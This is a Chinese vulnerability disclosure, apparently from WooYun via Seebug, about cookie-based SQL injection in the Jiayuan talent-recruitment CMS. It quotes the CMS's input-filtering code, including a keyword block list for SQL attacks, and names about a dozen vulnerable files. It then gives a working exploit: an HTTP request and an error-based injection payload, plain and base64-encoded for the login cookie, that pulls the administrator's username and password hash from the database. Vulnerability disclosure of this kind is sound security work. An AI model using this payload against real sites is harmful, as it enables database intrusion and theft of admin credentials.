### 简要描述:
一次性全部打包,希望厂商重视这个问题,做好过滤。
### 详细说明:
这套cms存在一个很大隐患就是对于cookie的过滤。根据这个cms给出的函数可以写一个dome
```
<?php
error_reporting(0);
foreach($_REQUEST as $_k=>$_v){
if( strlen($_k)>0 && preg_match('/^(cfg|GLOBALS)/i',$_k) ){
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request){
foreach($$_request as $_k => $_v) $_k{0} != '_' && ${$_k} = is_array($_v)?_runmagicquotes($_v):cleartags(_runmagicquotes($_v));
//foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v);
}
function _runmagicquotes(&$svar){
if(!get_magic_quotes_gpc()){
if( is_array($svar) ){
foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v);
}else{
$svar = addslashes($svar);
}
}
return $svar;
}
function cleartags($msg){
if(!$msg) return '';
$msg=stripslashes($msg);
$msg=strip_tags($msg);
$msg=dhtmlspecialchars($msg);
return trim(addslashes($msg));
}
function dhtmlspecialchars($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}else{
$string = str_replace(array('&', '"', '<', '>'),array('&', '"', '<', '>'), $string);
if(strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/','&\\1', $string);
}
}
return $string;
}
function checksql($dbstr,$querytype='select'){
$clean = '';
$old_pos = 0;
$pos = -1;
//普通语句,直接过滤特殊语法
if($querytype=='select'){
$nastr = "/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/i";
if(preg_match($nastr,$dbstr)){
log_write($dbstr,'sql');
showmsg('SafeError:10001', 'javascript:;');
exit();
}
}
//完整的SQL检查
while (true){
$pos = strpos($dbstr, '\'', $pos + 1);
if ($pos === false){
break;
}
$clean .= substr($dbstr, $old_pos, $pos - $old_pos);
while (true){
$pos1 = strpos($dbstr, '\'', $pos + 1);
$pos2 = strpos($dbstr, '\\', $pos + 1);
if ($pos1 === false){
break;
}
elseif ($pos2 == false || $pos2 > $pos1){
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($dbstr, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "aaaaaaa";
}
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false){
$fail = true;
echo "bbbbbbb";
}
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "ccccccc";
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "ddddddd";
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "eeeeeee";
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0){
$fail = true;
echo "fffffff";
}
elseif (preg_match('~\([^)]*?select~s', $clean) != 0){
$fail = true;
echo "ggggggg";
}
if (!empty($fail)){
//log_write($dbstr,'sql');
echo "SafeError:10002";exit;
}
else
{
return $dbstr;
}
}
$word = $_COOKIE['word'];
echo $word;
?>
```
我们来测试对于cookie的过滤。可以看到直接引入单引号
[<img src="https://images.seebug.org/upload/201503/161934143de7d0ae43ffd6b198eee07c5507126a.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161934143de7d0ae43ffd6b198eee07c5507126a.png)
cms中获取cookie的函数是这样写的,其实最终效果和demo一样
```
function _getcookie($var) {
global $cfg;
$var = $cfg['cookie_pre'].$var;
return isset($_COOKIE[$var]) ? substr(base64_decode($_COOKIE[$var]),0,-strlen($cfg['cookie_encode'])) : '';
}
```
然后我们在整个cms中搜索一下这个函数
[<img src="https://images.seebug.org/upload/201503/16193608fd1715085bff030bff0ff76784b665f6.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16193608fd1715085bff030bff0ff76784b665f6.png)
其中 [WooYun: 嘉缘人才系统SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2015-091369)
[WooYun: 嘉缘人才系统SQL注入可获取任意数据#1](http://www.wooyun.org/bugs/wooyun-2015-091394)
提交过这个cookie的问题,但是厂商是怎样做的呢?
就对于上面两个文件加上了cleartags这个函数,其他的就不管了。
除了这两处,还存在12处。都存在这个cookie注入问题。
在\inc\attention.php
```
require(dirname(__FILE__).'/../config.inc.php');
if(empty($do)) $do= '';$db=connectdb();
$mid=intval($mid);
if($do=="addatten"&&$mid){
$username=_getcookie('user_login');
if($username==''){
echo 'nologin';exit();
}else{
$rs = $db->get_one("select m_id,m_flag,m_name,m_typeid from {$cfg['tb_pre']}member where m_login='$username' limit 1");
```
在\inc\concat.php
```
require(dirname(__FILE__).'/../config.inc.php');
$db=connectdb();
$username=_getcookie('user_login');
$usertype=_getcookie('user_type');
require_once(FR_ROOT.'/inc/paylog.inc.php');
//取权限
$Glimit=$Gintegral=Array(0,0,0,0,0,0,0,0,0,0,0,0,0);
if($username!=''){
$rs = $db->get_one("select m_id,m_name,m_flag,DATEDIFF(m_enddate,'".date('Y-m-d')."') as end,m_limit,g_limit,g_integral from {$cfg['tb_pre']}member INNER JOIN {$cfg['tb_pre']}group on m_groupid=g_id where m_login='$username' limit 0,1");
```
在\inc\do_ajax_file_upload.php
```
<?php
require_once(dirname(__FILE__).'/../config.inc.php');
!isset($db)&&$db=connectdb();
$username=_getcookie('user_login');
if($username!=''){
$userpass=_getcookie('user_pass');
$rs = $db->get_one("select m_id from {$cfg['tb_pre']}member where m_login='$username' and m_pwd='$userpass' limit 1");
}
```
以及
member\course_list.php
member\department_list.php
member\professor.php
member\studnet_list.php
等等地方都存在这个注入。
对于漏洞的利用方式
[WooYun: 嘉缘人才系统SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2015-091369)
[WooYun: 嘉缘人才系统SQL注入可获取任意数据#1](http://www.wooyun.org/bugs/wooyun-2015-091394)
这两个提供了,盲注的方法。
根据我前面提交过的漏洞,还可以通过报错注入直接出数据。
我以\inc\do_ajax_file_upload.php为例
```
GET /frcms/inc/do_ajax_file_upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: fr_user_login=ZnVja1NnWlFkMzMwNVY%3D;
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
```
将base64解密
```
fuckSgZQd3305V
```
fuck为我们可控,我们构造
```
fuck' or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)#SgZQd3305V
```
然后base64一次
```
ZnVjaycgb3IgY2hhcihAYCdgKSBvciAoU0VMRUNUIDEgRlJPTShTRUxFQ1QgY291bnQoKiksY29uY2F0KChTRUxFQ1QoU0VMRUNUIGNvbmNhdChhX3VzZXIsMHgyNyxhX3Bhc3MpKSBGUk9NIGpvYl9hZG1pbiBsaW1pdCAwLDEpLGZsb29yKHJhbmQoMCkqMikpeCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIGdyb3VwIGJ5IHgpYSkjU2daUWQzMzA1Vg==
```
提交,mysql报错
[<img src="https://images.seebug.org/upload/201503/16195731fcce20fb5b0a598d96554ddddbd225f2.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16195731fcce20fb5b0a598d96554ddddbd225f2.png)
然后访问日志记录文件
[<img src="https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png" alt="10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png" alt="10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png)
暂无评论